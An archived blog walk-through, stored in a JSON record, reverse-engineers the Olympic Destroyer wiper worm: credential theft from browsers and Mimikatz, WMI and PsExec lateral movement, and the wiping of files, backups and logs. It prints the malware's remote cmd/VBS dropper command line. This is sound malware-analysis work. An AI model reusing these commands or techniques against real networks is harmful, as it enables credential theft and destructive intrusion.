{
	"id": "9cddab39-53b5-4bdc-b22f-e0f253989cf4",
	"created_at": "2026-04-06T00:18:27.388443Z",
	"updated_at": "2026-04-10T13:12:00.592432Z",
	"deleted_at": null,
	"sha1_hash": "c59e6d4ca00957e818c536e0cff82ec1150a637b",
	"title": "Dissecting Olympic Destroyer – a walk-through",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 271085,
	"plain_text": "Dissecting Olympic Destroyer – a walk-through\r\nArchived: 2026-04-05 15:58:18 UTC\r\nIntroduction\r\nAfter a destructive cyber attack had hit this year’s olympics, the malware was quickly dubbed Olympic Destroyer. \r\nTalos were fast to provide initial coverage. A malware explicitly designed to sabotage the computer systems of the\r\nOlympic opening ceremony sounded very interesting, but other duties were more pressing at that time, so analysis\r\nfor pure curiosity had to wait.  A few weeks later I had some free evenings on my hands and decided to combine a\r\nfew interests of mine: Listening to music, consuming high quality whisky and analyzing malware – regrettably\r\none of those things is frowned upon at work, and it’s not malware analysis. ;)\r\nI had most of the binaries reversed and already written up a few pages, when Kaspersky released an article with\r\nsome more details than previously publicly known. Having finished my work and focusing on the technical\r\naspects of Olympic Destroyer, I think I can add several technical details about the malware. In the following\r\nexpect plain and straight-forward binary analysis and reverse engineering in the form of a walk-through.\r\nOlympic Destroyer comes in two types. The first one is a little bit simpler. It was discovered by Talos, who\r\npublished it in their comprehensive blog post. One example of this type has the Sha256 of\r\nedb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 .\r\nThe second type of the binary has, to the best of my knowledge, not yet been explicitly named, but it was\r\nimplicitly analyzed by Kaspersky in their also very comprehensive blog post. One example has the Sha256 sum of\r\ne8349cfcc422310c259688b0226cb14f5196a6daad77b622405282aeac89ab06 .\r\nIn the following blog post I will mainly describe the first type of Olympic Destroyer. At the end I will discuss the\r\nmain differences between the two types, which revolve around the usage or non-usage of the well-known tool\r\nPsExec.\r\nThe Orchestrator\r\nIn this part we will cover the innermost functionality of the Olympic Destroyer. As orientation point we will use\r\nthe main() function, from where on we will cover the single function calls step by step. Luckily Olympic\r\nDestroyer runs single threaded – except for the spreading functionality – which makes it easier to follow the\r\nexecution one call after another.\r\nThe analyzed orchestrator has a Sha256 of\r\nedb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 and is 0x1C6800 (~1.7MB) in size. A\r\nlot of this size is made up of five resources, whose role will be explained later on. IDA detects 756 functions of\r\nwhich not even ten were automatically identified by IDA FLIRT in version 6.9, which made the analysis more\r\ntime consuming. IDA version 6.95 seems to have a newer FLIRT database and a lot of functions are identified\r\nautomatically, as I realized way too late.\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 1 of 19\n\nConfiguration – or not\r\nThe main() function is located at 0x004071E0 . It creates a structure on the local stack, which I called “config”\r\nwhen starting to reverse the binary. Over the time I discovered that it is merely a state or a singleton data container\r\n- nonetheless I kept the name “config” for reasons of consistency. This structure is carried throughout many of the\r\nsubsequent function calls, most of the time in the form of thiscalls in the ecx register. You can find the whole\r\nstructure in the appendix section below.\r\nIt contains different type of data, like simple integers, which for example describe the bitness of the OS with either\r\nthe value 32 or 64 by dynamically resolving and calling IsWow64Process. Yes, the author(s) actually use full\r\nintegers instead of encoding this information in a simple bit ¯\\_(ツ)_/¯.\r\nFigure 1: Detecting the bitness of the system\r\nMore interesting are probably the different paths of files dropped to the filesystem during runtime, which are also\r\nstored in this structure. I will describe them when writing about the resources.\r\nAdditionally, we find some security related variables, like the security token information of the current user, which\r\nis gathered by calling GetTokenInformation(TokenUser) and comparing the result against “S-1-5-18” (Local\r\nSystem), “S-1-5-19” (NT Authority Local Service), and “S-1-5-20” (NT Authority Network Service).\r\nMost important is probably the vector of objects, which contains domain names and domain credentials, that are\r\nused to spread laterally through the network. More about this later on when I will cover the lateral movement.\r\nAfter the config structure is initialized in 0x00406390 by nulling its members, it is dynamically filled with its\r\nrespective values in the subsequent call to 0x00406500, where most of the previously mentioned values and\r\ninformation is generated. From then on, the config is ready for use and most values are only read instead of\r\nwritten – except for the file paths, which are generated more or less randomly on the fly when used and of course\r\nthe credential vector, which gets expanded a few calls later.\r\nMagical Code Injections\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 2 of 19\n\nWith a call to 0x004066C0 Olympic Destroyer checks for the existence of two files, which it uses to mark and\r\navoid multiple runs of itself:\r\n1. C:\\\u003cMD5(Computer Name)\u003e\r\n2. %SystemDrive%\\Users\\Public\\\u003cMD5(Computer Name\\User Name)\u003e\r\nIf one of those files is found, the function which I called “selfDeleteInjectBinary” at 0x00405DD0 is executed.\r\nMost of this function is already described in Endgame’s blogpost at https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights, but somehow they either misinterpreted the\r\nfeature, or missed the main point of the shellcode. I’m not sure what their intention was, but their blog post\r\nsomehow does not say what the shellcode actually does ¯\\_(ツ)_/¯.\r\nOlympic Destroyer starts an invisible “notepad.exe” by using the flags CREATE_NO_WINDOW in\r\ndwCreationFlags as well as STARTF_USESHOWWINDOW in StartupInfo.dwFlags and SW_HIDE in\r\nStartupInfo.wShowWindow before calling CreateProcessW.\r\nFigure 2: Starting an invisible Notepad\r\nThen it injects two blocks of data/code into the running notepad by calling VirtualAllocEx and\r\nWriteProcessMemory. The first block contains addresses of APIs and the path to the current executable, the\r\nsecond one is a shellcode which uses the addresses of the first block. By calling CreateRemoteThread the\r\nexecution of the shellcode within notepad is started.\r\nAfter this injection, the main process exits by calling ExitProcess while the execution of the injected thread runs in\r\nthe process space of notepad. But all the shellcode does, is a simple delayed self-deletion mechanism: First it\r\nsleeps a configurable number of seconds. In our case it is five seconds. After that, the shellcode looks for the\r\noriginal path of Olympic Destroyer, which was passed by the first injected memory block by checking\r\nGetFileAttributesW != INVALID_FILE_ATTRIBUTES. Then it tries to open the file with CreateFileW, gets the file\r\nsize by calling GetFileSize and then loops over the file size and calls WriteFile with always one zero byte until the\r\nwhole file is overwritten with zeros. After closing the file handle, the file is finally deleted with DeleteFile and the\r\nshellcode calls ExitProcess to end its execution.\r\nTo sum it up: The code injection is simply a nulling and deletion mechanism to hide the traces of the main binary.\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 3 of 19\n\nSetting the markers for self-deletion\r\nThe two files, which mark multiple runs of Olympic Destroyer, mentioned in the previous paragraph, are then\r\ncreated:\r\nFigure 3: Create infection markers\r\nDepending on the rights under which the binary is running, the markers in C:\\ and %COMMON_DOCUMENTS% are\r\ncreated. From then on, a second run of Olympic Destroyer will wipe the original executable.\r\nStealing credentials\r\nIn the following call to 0x004065A0 , we will dive into a very important feature of Olympic Destroyer: The\r\nstealing of credentials from the current system, which are later used for lateral movement.\r\nOlympic Destroyer contains five resources of type “BIN”. All of those resources are encrypted with AES. The\r\ncalculation of the key is hard coded in the binary and can be described as a trivial MD5 hash of the string “123”.\r\nThis hash is then concatenated twice in order to reach a key length of 256 bits for the AES algorithm. The\r\nevaluation of whether those shenanigans of symmetric cryptography with a hard coded key makes sense is left as\r\nan exercise for the reader. :)\r\nWhen stealing the credentials, at first the resource 101 is decrypted, written to a more or less randomly generated\r\nfilename in %tmp%. “More or less” because the algorithm is based on calls to GetTickCount() with Sleeps in\r\nbetween the calls.\r\nAfter writing the decrypted resource to disk, a proper random string is generated by calling CoCreateGuid. The\r\nGUID is then used as the name for a named pipe in the form \\\\.\\pipe\\ , which is created by calling\r\nCreateNamedPipeW and then used as inter process communication mechanism with the process, which is then\r\nstarted from the file written to %tmp%.\r\nResource 101\r\nWhen resource 101 is started, it also gets the name of the pipe to communicate with its parent process as well as\r\nthe password “123” as arguments. The main task of resource 101 is to use the password to decrypt and execute\r\nanother resource of type “BMP” embedded in the file of resource 101 and send a buffer with stolen credentials to\r\nits parent process. So, it’s a simple loader which transfers a buffer via IPC.\r\nThe BMP resource is a DLL called “BrowserPwd.dll”. This DLL is not written to disk but parsed and loaded in\r\nmemory. It seems that its only purpose is to steal credentials from the browsers Internet Explorer, Firefox and\r\nChrome. In order to work with Firefox and Chrome, an SQLite library is compiled into the DLL, which makes up\r\nmost of the DLL’s code.\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 4 of 19\n\nFor Internet Explorer it uses COM to iterate over the browsers history and then reads all autocomplete\r\npasswords from the registry in Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2 and\r\ndecrypts them using the WinAPI CryptUnprotectData.\r\nFor Firefox, the credentials are stolen from sqlite _and logins.json_. The nss3.dll from Firefox is used to\r\ndecrypt the protected passwords.\r\nFor Chrome, the user’s database in […]\\Application Data\\Google\\Chrome\\User Data\\Default\\Login\r\nData is copied temporarily and then the credentials are read and decrypted by calling the WinAPI\r\nCryptUnprotectData.\r\nAll stolen credentials are returned in a buffer which uses a special style of separating the single items. This buffer\r\nis constructed within the DLL and returned to its original loader, which is resource 101:\r\nFigure 4: Stolen credentials are formatted in a certain way\r\nThis buffer is then sent from the loader via the named pipe to its parent process:\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 5 of 19\n\nFigure 5: The loader of resource 101 uses the named pipe to transfer the buffer with the stolen\r\ncredentials\r\nResource 102 and 103\r\nAfter resource 101 was executed, a second attempt to steal credentials is started, in case the current process could\r\nacquire debug privileges during initialization of the config object. In case it has those right, depending on the\r\narchitecture of the operating system, either resource 102 (x86) or 103 (x64) is started. Both executables have the\r\nsame logic as resource 101 – decrypt and load a DLL in memory, execute the DLL and return its buffer via IPC –\r\n only the payload in form of their internal DLL, the resource of type “BMP”, is different. Everything else stays the\r\nsame.\r\nSo, the question is, what are the DLLs in the resources of resource 102 and 103? For 103, the x64 version, I did\r\nnot look into it in order to save some time, but I assume it’s the very same payload as in 102, only for x64\r\nsystems. For 102, which is an x86 binary, the loaded internal DLL seems to be a custom version of the well-known penetration testing tool Mimikatz, which, besides other nifty features, can dump credentials from a\r\nWindows system. I did not spend too much time in the analysis of this DLL, but a swift look (as in “1-2 hours”),\r\ncompared with several matching functions, structures and strings from the original code of Mimikatz are strong\r\nindicators that this DLL has actually Mimikatz’ credential dumping capability. This assumption was also verified\r\nby dynamic analysis, where the binary was actually stealing the credentials of my analysis machine. Additionally,\r\nthe author(s) of Olympic Destroyer named this DLL “kiwi86.dll”, which is a reference to the nickname\r\n“gentilkiwi”, who is the author of Mimikatz.\r\nAfter receiving the stolen credentials via the named pipes, Olympic Destroyer parses the received buffers and\r\nsaves the credentials in its config structure. Then it returns its control flow to the main function.\r\nSaving the Credentials – Or how to build a network worm\r\nBack in the main function, right after stealing credentials from browsers and by the power of Mimikatz, Olympic\r\nDestroyer creates a copy of itself in the %tmp% folder in 0x00404040 . If this copy succeeds, the copied file is\r\nmodified in the next function call to  0x00401FB0 . Here the whole file is read into a buffer in the process’\r\nmemory. Then this buffer is searched for the byte marker 9E EC 87 D4 89 16 42 09 55 E2 74 E4 79 0B 42 4C .\r\nThose bytes mark the beginning of the serialized credentials vector as an array:\r\nFigure 6: Hex dump of Olympic Destroyer\r\nI tried to mark the single elements of the array in different colors to describe them, but it turns out my MS Paint\r\nskills are really bad. So, you’ll just get two pseudo structs defining what you can see around the red marked bytes:\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 6 of 19\n\nstruct credentials\r\n{\r\n byte marker[16];\r\n WORD numberOfElements;\r\n struct CREDENTIAL credentialArray[numberOfElements];\r\n};\r\nstruct CREDENTIAL\r\n{\r\n WORD lengthOfUsername;\r\n WORD lengthOfPassword;\r\n char userName[lengthOfUsername];\r\n char password[lengthOfPassword];\r\n}\r\nIn our case there are 0x2C stolen credentials. The first block of credentials has a username\\domain string of\r\n0x1B bytes length and has a password of 0x0C bytes length. Then the second block of credentials follows, and so\r\non.\r\nOnce Olympic Destroyer has located the array in its buffer, the array is written over with the serialized version of\r\nthe current credentials vector of the config object. Then the executable modified in memory is written back to disk\r\nin the %tmp% directory.\r\nIn other words: The list of credentials, which was present when Olympic Destroyer was executed first, is now\r\nupdated with all credentials stolen during runtime.\r\nResource 104 and 105 – Preparing the next steps\r\nAfter updating a copy of itself with all stolen credentials, the execution flow returns to the main function where\r\ntwo consecutive calls to 0x00403F30 prepare the network spreading algorithm and the destructive parts. Both\r\ncalls take a resource name as a first parameter for input and return a string with a path to a file. In this function\r\nOlympic Destroyer takes the same decryption algorithm as previously described and decrypts the resources 104\r\nand 105. Both files are not yet executed but written to disk with a random filename in the %tmp% folder.\r\nResource 104 is a simple copy of the well-known tool “PsExec” which can be used to execute commands and files\r\non remote computers. It will come into play when I describe the lateral movement.\r\nResource 105 though is the actual “Destroyer” of Olympic Destroyer.\r\nStarting the Destroyer – Fulfilling the real purpose\r\nAfter writing resource 104 and 105 to %tmp%, the function at 0x00404220 is called with the path to resource 105\r\nas an argument. Here nothing magical happens. The file from the resource is simply executed without a visible\r\nwindow/console and the function returns:\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 7 of 19\n\nFigure 7: Starting an invisible process\r\nFrom here on the destroyer from resource 105 is running. It has its own chapter later on.\r\nLateral Movement\r\nOnce the destroyer part of Olympic Destroyer has been started in its own process, the main function calls\r\n0x00406ED0 to start the network spreading routine.\r\nAt first two sanity checks are made by calling GetFileAttributesA in order to ensure that PsExec from resource\r\n104 and the copy of Olympic Destroyer with the updated credentials list in the %tmp% folder exist. If both checks\r\npass, a list of potential targets within the local network is built: With a call to 0x00406DD0 Olympic Destroyer\r\nutilizes the GetIpNetTable API to enumerate all IPv4 addresses of the current ARP cache, thus getting all IP\r\naddresses the local machine had access to - considering ARP cache timeouts which can remove older entries, of\r\ncourse.\r\nThe list of IPv4 addresses is then passed to the function at 0x004054E0 , along with a pointer to the config object\r\nas well as the path to PsExec and the updated copy of Olympic Destroyer in the %tmp% folder. I think it is\r\nnoteworthy that passing both paths to the files in %tmp% is completely superfluous, since they are already a part\r\nof the config object, which is also passed as argument.\r\nThe function at 0x004054E0 is the heart of the spreading algorithm: First, it reads the updated copy of Olympic\r\nDestroyer into memory. Then it initializes a new structure with all information passed as arguments as well as\r\nsome additional information, which is somehow not really used later on. After that it calls 0x00407680 , where the\r\nspreading in the network begins: For each IP address, a new thread is spawned, which starts at 0x00407D40 . This\r\nthread then loops over all credentials of the config object, trying to use WMI via COM objects in order to infect\r\nremote computers:\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 8 of 19\n\nFigure 8: Remote command execution\r\nThe first important function for that is at 0x004045D0 (called executeRemoteCmdline), which gets one IP and one\r\npair of credentials as input, as well as one command line to execute on the target machine - outPtr is used to\r\ntransport the return value. The whole function is a mess of COM calls, but I’ll try to explain their meaning\r\nanyways. Words in italic are quotes from the binary: This function creates a COM object of CLSID {4590F811-\r\n1D3A-11D0-891F-00AA004B2E24} and IID {dc12a687-737f-11cf-884d-00aa004b2e24} in order to remotely\r\nexecute WMI commands. Then a connection to \\\\\\root\\CIMV2 is created and the credentials are applied by\r\ncalling CoSetProxyBlanket. With the class Win32_Process and the function Create a Commandline is executed\r\non the remote computer. With Select * From Win32_ProcessStopTrace the event for the termination of the\r\nremote process is registered in order to read its ExitStatus code afterwards. The executed command line is rather\r\nsimple:\r\n\"cmd.exe /c (ping 0.0.0.0 \u003e nul) \u0026\u0026 if exist %programdata%\\\\evtchk.txt (exit 5) else ( type nul \u003e %programdata%\r\nWith the execution of ping a short delay is introduced, since the execution waits for ping to fail four times to ping\r\nthe address 0.0.0.0. Then, in case the file %programdata%\\evtchk.txt exists on the target system, the execution\r\nreturns the exit code five. Otherwise said file is created and the execution finishes with its standard error code of\r\nzero.\r\nThe return value of the remote command line is then read and is returned via outPtr as a function argument from\r\n0x004045D0. Interestingly the outPtr is only written to in case of a successful remote execution. All error cases\r\nleave the outPtr untouched. As the memory address of the target of outPtr is initialized with zeros, the caller of\r\n0x004045D0 is unable to distinguish between an error during the remote code execution (e.g. because of false\r\ncredentials or an unavailable IP) and the successful write of %programdata%\\evtchk.txt file on the remote\r\nmachine. ¯\\_(ツ)_/¯\r\nAt 0x00404C30 the second interesting function (called writeFileToRemoteRegistryAndExecuteCommandlineVbs)\r\nis located. It takes the target IP address as well as the credentials as input. It is very similar to the function\r\n0x004045D0 described previously. The main difference is that by using the StdRegProv class and the function\r\nSetBinaryValue a registry key in HKEY_CURRENT_USER\\Environment with the name Data is created on the\r\nremote computer. The value of the registry key an executable file, but interestingly it is not the copy of Olympic\r\nDestroyer with the updated credential list in %tmp%, as I would have expected, but it is the binary which is\r\ncurrently executed and thus does not contain any of the current system’s credentials:\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 9 of 19\n\nFigure 9: The remote spreading algorithm spreads the wrong binary\r\nAfter the binary is written to the remote registry, the function at 0x00404C30 calls the function at 0x004044B0 .\r\nHere the function Create of the COM class Win32_Process is used to remotely execute another command line.\r\nThis command line is already known from the Talos blog post. For readability I pretty-printed the commands:\r\ncmd.exe /c\r\n(\r\necho strPath = Wscript.ScriptFullName\r\n\u0026 echo.Set FSO = CreateObject^(\\\"Scripting.FileSystemObject\\\"^)\r\n\u0026 echo.FSO.DeleteFile strPath, 1\r\n\u0026 echo.Set oReg = GetObject^(\\\"winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\default:StdRegProv\\\"^)\r\n\u0026 echo.oReg.GetBinaryValue ^\u0026H80000001, \\\"Environment\\\", \\\"Data\\\", arrBytes\r\n\u0026 echo.Set writer = FSO.OpenTextFile^(\\\"%ProgramData%\\\\%COMPUTERNAME%.exe\\\", 2, True^)\r\n\u0026 echo.For i = LBound^(arrBytes^) to UBound^(arrBytes^)\r\n\u0026 echo.s = s ^\u0026 Chr^(arrBytes^(i^)^)\r\n\u0026 echo.Next\r\n\u0026 echo.writer.write s\r\n\u0026 echo.writer.close\r\n) \u003e %ProgramData%\\\\_wfrcmd.vbs \u0026\u0026 cscript.exe %ProgramData%\\\\_wfrcmd.vbs \u0026\u0026 %ProgramData%\\\\%COMPUTERNAME%.exe\r\nThe first set of echos outputs parts of a VB script, which are then written to %ProgramData%\\_wfrcmd.vbs by\r\nusing the redirect operator “\u003e”. Afterwards this file is executed via the cscript interpreter before the executable\r\n%ProgramData%\\%COMPUTERNAME%.exe is executed. This executable is created during the runtime of the newly\r\ncreated VB script, which basically just reads the executable stored in HKEY_CURRENT_USER\\Environment\\Data and\r\nwrites it to %ProgramData%\\%COMPUTERNAME%.exe .\r\nBack in 0x00405170 , the function at 0x004045D0 (executeRemoteCmdline) is called a second time. This time it\r\nremoves the file %programdata%\\evtchk.txt , which was previously checked or created on the remote computer\r\nby executing the command line del %programdata%\\evtchk.txt .\r\nTo state the obvious, in case it got lost in all the text: %programdata%\\evtchk.txt is intended as a mutex object\r\non the remote computer, which marks that a remote infection is currently ongoing. This avoids that two computers\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 10 of 19\n\nrunning Olympic Destroyer’s infection routine infect the same target at the very same time. Yet, as this file is\r\ndeleted right after the infection, it does not avoid multiple infections of the same target in general, but only in\r\nparallel.\r\nWhile all previously mentioned remote infection threads are running, the main thread waits for their termination\r\nby calling WaitForMultipleObjects, where it waits for all spawned threads to finish.\r\nOnce all threads are finished and back in the function 0x00406ED0 , the control flow enters a loop, which iterates\r\nover all credentials and passes them to the function at 0x00406780 . This function also has the purpose of\r\nenumerating network targets. Once again COM objects are involved: One main part of this function is the call to\r\nNetGetDCName, which gets the name of the primary domain controller. This name is formatted into the string\r\n_%s\\\\root\\\\directory\\\\LDAP_ in order to use it with the same COM objects as before during the remote code\r\nexecution (CLSID {4590F811-1D3A-11D0-891F-00AA004B2E24} and IID {dc12a687-737f-11cf-884d-00aa004b2e24} ) by using the credentials, which are passed as function arguments. If everything works so far, the\r\nstatement “SELECT ds_cn FROM ds_computer” is executed in order to get all computer names from the current\r\ndomain. Then, for each computer, by calling GetAddrInfoW and ntohl the domain names are resolved to IPs. A\r\nvector of IPs is returned from 0x00406780 . The IPs are then passed to the already known function at\r\n0x004054E0 in order to infect those computers remotely.\r\nWhen this IP enumeration and remote infection loop is finished, some objects and memory is cleaned up before\r\nthe control flow returns back to the main function.\r\nSelf-Deletion – Or how to hide your traces, well, at least one of the many…\r\nThe last step in the main function, before freeing the remaining objects and memory, is the call to the already\r\ndescribed function “selfDeleteInjectBinary” at 0x00405DD0 . This time the sleep interval is only three instead of\r\nfive seconds. So the spawned process tries to wipe the binary of the parent process every three seconds until it\r\nsucceeds. The control flow of Olympic Destroyer then leaves the main function and the process exits, which will\r\nmake the wiping of the binary possible.\r\nI think it is noteworthy that none of the other dropped files are deleted. Everything in %tmp% remains and also all\r\ninfection markers described previously are still there.\r\nA big part of this component’s functionality can be described in one picture by looking at the main function:\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 11 of 19\n\nFigure 10: Destroyer main function\r\nAfter giving itself the SeShutdownPrivilege and bluntly ignoring all potential erroneous API calls, the Destroyer\r\ncalls the function at 0x00401000 (“execProcAndWaitForTerminate”) five times in a row in order to:\r\n1. Delete all shadow copies without prompt to avoid restoring the system\r\n2. Silently delete all backups created by the tool wbadmin\r\n3. Ignore all failures during boot and avoid starting the recovery mode\r\n4. Clear system logs\r\n5. Clear security logs\r\nThen the function at 0x004012E8 (“deactivateAllActiveServices”) is called. The name in the screenshot is\r\nalready a spoiler of the actual functionality: All services of the local computer are disabled. This is done by\r\niterating over all possible types of services by calling EnumServicesStatusW with the dwServiceType parameter\r\nset to 0x13F and dwServiceState to SERVICE_STATE_ALL , and then calling\r\nChangeServiceConfigW(SERVICE_DISABLED) for each service. In combination with the previously disabled\r\nrecovery mode and deleted backups, this bricks the local system on the next boot.\r\nBack in the main function a thread is spawned which executes the function 0x004016BF (“wiperThread”). The\r\nmain thread then sleeps for a fixed single hour before shutting down the system – no matter what the wiper thread\r\ndid or didn’t do in the meantime. Note that this might also interrupt the spreading routine of Olympic Destroyer,\r\nwhich might still run.\r\nThe first thing the wiper thread does is setting its own thread priority to THREAD_PRIORITY_TIME_CRITICAL\r\nin order to get as much CPU cycles as possible. Then it recursively iterates over all available network resources\r\nwith the APIs WNetOpenEnumW and WNetEnumResourceW. Each available resource is temporarily mounted by\r\ncalling WNetAddConnection2W(CONNECT_TEMPORARY), yet the parameters for the username and password\r\nare set to zero, thus the current user’s credentials are used. It is important to note that the stolen credentials are not\r\nused here. This decouples the Destroyer logically from its parent process. For each successfully mounted resource\r\nthe function at 0x00401441 is called. This function is also best described with a screenshot:\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 12 of 19\n\nFigure 11: Remote wiping functionality\r\nThis function simply iterates recursively over all folders, starting at the mountpoint which is provided as an\r\nargument, and then destroys each single file that it finds:\r\n1. Files equal or smaller to 1MB in size are completely written over with zeros\r\n2. For files bigger than 1MB only the first 4096 bytes are nulled. Yet for most files this should be enough to\r\nrender them useless\r\nThe wiper thread does not communicate with the main thread and there is no synchronization in any way. No\r\nmatter if the wiping already finished or not, the system is shut down after one hour. It might be a simple mistake\r\nto shut the system down after a fixed time: The wiping may not have wiped everything it can reach, or it could\r\nhave already finished and the local computer is still useable until the shutdown. Additionally the remote spreading\r\ncould still be ongoing.\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 13 of 19\n\nYet, I think it is more likely that this feature is a well-planned and sophisticated time bomb: Imagine Olympic\r\nDestroyer spreading through a network, wiping all it could wipe for one hour, when suddenly one system after\r\nanother shuts down and is unable to boot.\r\nDifferent types of Olympic Destroyer\r\nAs mentioned in the introduction, I found two different types of Olympic Destroyer. The simpler type was\r\ndescribed previously. The second type has the very same functionality, it only adds a few more functions. Those\r\nadditional functions have the purpose of extending the spreading functionality of Olympic Destroyer by\r\nleveraging PsExec, which was written to %tmp% but then ignored by the simpler version.\r\nUsing PsExec\r\nThe additional function call is placed right after writing/checking the file %programdata%\\evtchk.txt and before\r\nthe spreading function which uses COM objects and spreads the version of Olympic Destroyer which was not\r\nupdated with the stolen credentials. This bugged behavior of spreading the wrong binary over COM exists in both\r\nversions.\r\nThe additional call to PsExec is done in the following way:\r\nFigure 12: Format string for calling PsExec\r\nPsExec is started with several parameters:\r\nThe first three parameter identify the target computer and the credentials which are applied\r\nThen the dialogue to confirm the EULA of PsExec is skipped with “accepteula”\r\n“-d” runs PsExec in a non-interactive way, which means that the caller does not wait for PsExec to\r\nterminate\r\nWith “-s” the remote process is started with System rights (in case the credentials allow that)\r\n“-c” and “-f” specify that the actually executed file is copied to the target computer and overwritten in case\r\nit already exists\r\nThe last parameter is the remotely executed file, which is obviously Olympic Destroyer\r\nThis time the remotely executed binary is the copy of Olympic Destroyer in %tmp%, which was updated with the\r\ncredentials stolen during the current run.\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 14 of 19\n\nThe output buffer returned from PsExec is parsed for the string “started”, which indicates to Olympic Destroyer\r\nthat its call was successful. A successful remote infection using PsExec breaks the loop which iterates over the\r\ncredentials for a fixed target computer. Thus the target is only infected once and the bugged COM infection is\r\navoided.\r\nA crippled worm and a capable worm\r\nThe simple version of Olympic Destroyer has some spreading functionality, although it is broken in the sense that\r\nthe wrong binary is spread through the network. By not spreading the updated version of Olympic Destroyer,\r\nwhich contains the credentials stolen during the run, it loses a crucial part of its spreading capability:\r\nAssume we have a computer “A” with a logged in user who has the rights which allow remote spreading of\r\nOlympic Destroyer. And a computer “B”, which is in reach of A, but where no user is logged in. A third computer\r\n“C” is only reachable over B but not over A. If the simple version of Olympic Destroyer is executed on computer\r\nA, it will use the stolen credentials to infect computer B. But on computer B there are no credentials to steal, so it\r\nwon’t be able to infect computer C.\r\nIn other words: The simple version of Olympic Destroyer can only spread to computers which are “one hop” in\r\ndistance. Yet, in most cases this should still be enough to infect a whole network, since a central Domain\r\nController is usually connected to most computers in the network.\r\nSpreading the more advanced version including the stolen credentials gives Olympic Destroyer even better\r\nworming capabilities, since it gathers more and more credentials as it spreads further and further through a\r\nnetwork. In the previous example computer C could be infected from computer B by using the credentials stolen\r\non computer A.\r\nCrunching some numbers\r\nIn order to verify my findings with the two versions of Olympic Destroyer, I grabbed 36 different samples which\r\nare identified as Olympic Destroyer and compared their sets of stolen credentials. One sample had and empty list\r\nof credentials, so I discarded it.\r\nIt turns out that 23 of those samples are from the simple version type. All of them contained the same set of\r\ncredentials, which were already described by Talos. They are for the domains g18.internal and\r\nPyeongchang2018.com . All of the samples contained additional credentials stolen from various sandbox systems\r\nand virtual machines of researchers, who probably uploaded the files from the %tmp% folder to Virus Total during\r\ntheir analysis.\r\nI could not find a single sample which contained only a subset of the credentials stolen from the g18.internal\r\nand Pyeongchang2018.com domains. If you strip the credentials from sandboxes and researchers, all 23 samples\r\ncontain the same set of crendetials. This supports the findings that the simple version of Olympic Destroyer has a\r\nbroken spreading algorithm.\r\nIn contrast to that, 12 samples of the total 36 are from the ATOS network with the domain ww930 , as partially\r\ndescribed by Kaspersky. Apparently the more capable version of Olympic Destroyer was spreading here, thus the\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 15 of 19\n\ndifferences in the list of credentials is bigger. The first pair of credentials in this set can be found in all 12 samples.\r\nBut the rest of the credentials is a mix stolen from different computers in the same network. We can see that the\r\nworm took different paths when spreading though the network, acquiring the credentials of at least five different\r\ncomputers.\r\nAfter removing the credentials from researchers and sandboxes, we are left with five unique sets of credentials. If\r\none subset of credentials is one letter, the sets can be described as A, AB, AC, AD and ADE. This shows that the\r\nmore capable version of Olympic Destroyer actually inherits its list of stolen credentials to the infected systems.\r\nThe samples in question are:\r\n1942f14326f8ffa3afc83946ba9ec06abe983a211939f0e58362f85dd2a6b96a\r\n25089ec24167f3caa413a9e1965c7dfc661219f45305187070a1e360b03f869c\r\n6d7d35b4ce45fae4a048f7e371f23d1edc4c3b6998ab49febfd7d33f13b030a5\r\n9085926d0beacc97f65c86c207fa31183c5373e9a26fb0678fbcd26ab65d6e64\r\n90c956e8983116359662f8b82ae156b378d3fae02c07a18827b4c65f0b5fe9ef\r\nIt is likely that there are more samples out there which give a better picture of the way Olympic Destroyer wormed\r\nitself through the ATOS network.\r\nPE timestamps\r\nAs the blog article of Kasperky has already shown, the author(s) of Olympic Destroyer had quite the fun in\r\nplanting false flags. So, the compilation time stamps of the PE files should be taken with a grain of salt, as they\r\ncan be easily forged. Nonetheless they provide an interesting picture.\r\nSimple version of Olympic Destroyer, PE timestamps ordered ascending:\r\nName Compilation Timestamp Description\r\nResource 104 2016-06-28 18:43:09 Copy of PsExec\r\nResource 105 2017-12-27 09:03:48 Destroyer\r\nDLL in Resource 101 2017-12-27 11:44:17 Browser Password Stealer\r\nDLL in Resource 102 2017-12-27 11:44:21 Windows Account Password Stealer\r\nResource 101 2017-12-27 11:44:30 Loader for internal DLL\r\nResource 103 2017-12-27 11:44:35 Loader for internal x64 DLL\r\nResource 102 2017-12-27 11:44:40 Loader for internal DLL\r\nMain binary 2017-12-27 11:44:47 Olympic Destroyer\r\nFigure 13: PE timestamps for simple version of Olympic Destroyer\r\n(Note that I did not extract the time stamp for the DLL in the resource of resource 103)\r\nhttps://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/\r\nPage 16 of 